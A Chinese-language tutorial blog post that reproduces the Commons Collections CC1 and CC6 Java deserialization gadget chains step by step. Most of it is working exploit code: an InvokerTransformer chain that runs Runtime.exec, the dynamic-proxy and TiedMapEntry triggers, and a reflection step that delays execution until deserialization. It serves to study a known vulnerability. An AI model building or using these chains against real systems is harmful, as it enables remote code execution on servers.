Java反序列化-(CC1&CC6)LazyMap
CC1 环境搭建: JDK版本:1.7 (8u71之后已修复不可利用)
单独下载jre的网址
https://cdn.azul.com/zulu/bin/
见上篇文章
镇楼图:
ysoserial 里的链子
分析复现 直接接前面的,找transformer
我们第一条链子用的是TransformedMap
LazyMap.get CC6用的是LazyMap
的get方法
我们跟到Lazymap
的get方法
可以看到调了factory.transform
我们看factory
factory.transform
是一个Transformer
,也就是过if语句,然后factory是一个Transformer,if语句里面就是map.containsKey没有key即可过if
AnnotationInvocationHandler.invoke 这个时候我们找谁调用了get方法,我们直接找到
AnnotationInvocationHandler
我们找能控制利用get方法的
invoke的调用是只要外面有方法调用就会调用invoke
动态代理的处理器类AnnotationInvocationHandler
,利用动态代理调用方法就会走到invoke,然后再传,最好就是这样
看get前面的if语句
不能调有参方法,不能调equals
所有要调memberValues
的无参方法,我们找到了这里
然后我们开始写链子
根据需要传参
1 2 3 4 5 6 7 ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);HashMap<Object ,Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor annotationInvocationHandlerConstrutor = c.getDeclaredConstructor(Class.class,Map.class);annotationInvocationHandlerConstrutor.setAccessible(true ); InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstrutor.newInstance(Override.class,lazyMap);
然后下一步就是动态代理,调用invoke
这个时候我们的注解就可以不是特定的注解了
因为我们不用走进if语句,只需要不抛出异常即可
再写动态代理调用
1 Map mapProxy = (Map) Proxy .new ProxyInstance(LazyMap.class .getClassLoader () ,new Class[] {Map .class },h);
因为接受的是一个Map,所有代理Map
最后到了最外层annotationInvocationHandler
1 Object o = annotationInvocationHandlerConstrutor.new Instance(Override.class ,mapProxy ) ;
可以看到执行命令了
注意版本问题
8u71以后对类进行了处理
高版本对Values进行了一个处理
CC0也是对checkValue去掉做了一个put处理
CC6 环境搭建 不限制jdk版本,和CC版本
镇楼图:
ysoserial 里的链子
分析复现 TiedMapEntry.hashCode 最后执行代码部分还是和CC1一样,区别就是在get同方法这里,CC6找的是TiedMapEntry.hashCode
我们可以分析下
直接到hashCode
里面有getValue
可以看到有get方法
前面都是一样的
1 2 3 4 5 6 7 8 9 10 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class ) , new InvokerTransformer("getMethod" ,new Class[]{String.class ,Class[].class },new Object[]{"getRuntime" ,null }) , new InvokerTransformer("invoke" ,new Class[]{Object.class ,Object[].class },new Object[]{null ,null }) , new InvokerTransformer("exec" ,new Class[]{String.class },new Object[]{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers ) ; HashMap<Object ,Object> map = new HashMap<>() ; Map<Object,Object> lazyMap = LazyMap . decorate(map,chainedTransformer);
我们看TiedMapEntry
的构造函数,一个map和一个key
也即构造一个
1 TiedMapEntry tiedMapEntry= new TiedMapEntry(lazyMap ,"aaa" ) ;
hashmap.readObject 然后我们是想到hashmap
的readObject
这里来,也即
最终是到了一个同名函数hashCode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class ), new InvokerTransformer ("getMethod" ,new Class []{String .class ,Class[].class },new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object .class ,Object [].class },new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String .class },new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap <Object ,Object > map = new HashMap <>();Map<Object ,Object > lazyMap = LazyMap.decorate (map ,chainedTransformer); TiedMapEntry tiedMapEntry= new TiedMapEntry (lazyMap,"aaa" ); HashMap <Object ,Object > map2 = new HashMap <>();map2.put (tiedMapEntry,"bbb" ); serialize (map2);
发现序列化也会执行,原理和urldns类似,需要反射修改,也即put的时候不能触发hash
我们改下代码,让他开始调用一个无用的new ConstantTransformer(1)
,不去触发,然后反序列化的时候再去修改为chainedTransformer
触发。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class ) , new InvokerTransformer("getMethod" ,new Class[]{String.class ,Class[].class },new Object[]{"getRuntime" ,null }) , new InvokerTransformer("invoke" ,new Class[]{Object.class ,Object[].class },new Object[]{null ,null }) , new InvokerTransformer("exec" ,new Class[]{String.class },new Object[]{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers ) ; HashMap<Object ,Object> map = new HashMap<>() ; Map<Object,Object> lazyMap = LazyMap . decorate(map,new ConstantTransformer(1) ); TiedMapEntry tiedMapEntry= new TiedMapEntry(lazyMap ,"aaa" ) ; HashMap<Object,Object> map2 = new HashMap<>() ; map2.put(tiedMapEntry,"bbb" ); Class c = LazyMap .class ; Field factoryField =c.getDeclaredField("factory" ) ; factoryField.setAccessible(true ) ; factoryField.set(lazyMap,chainedTransformer); serialize(map2);
然后下一点也和urldns类似
我们可以调试下,打个断点
我们一路跟进去
这边调hashCode
然后到getValue,注意key的值
我们这边可以看到他会把key放进去,导致我们自己的key没了,所有我们需要把他给的key删了
所有我们添加代码
这个时候我们命令执行就成功了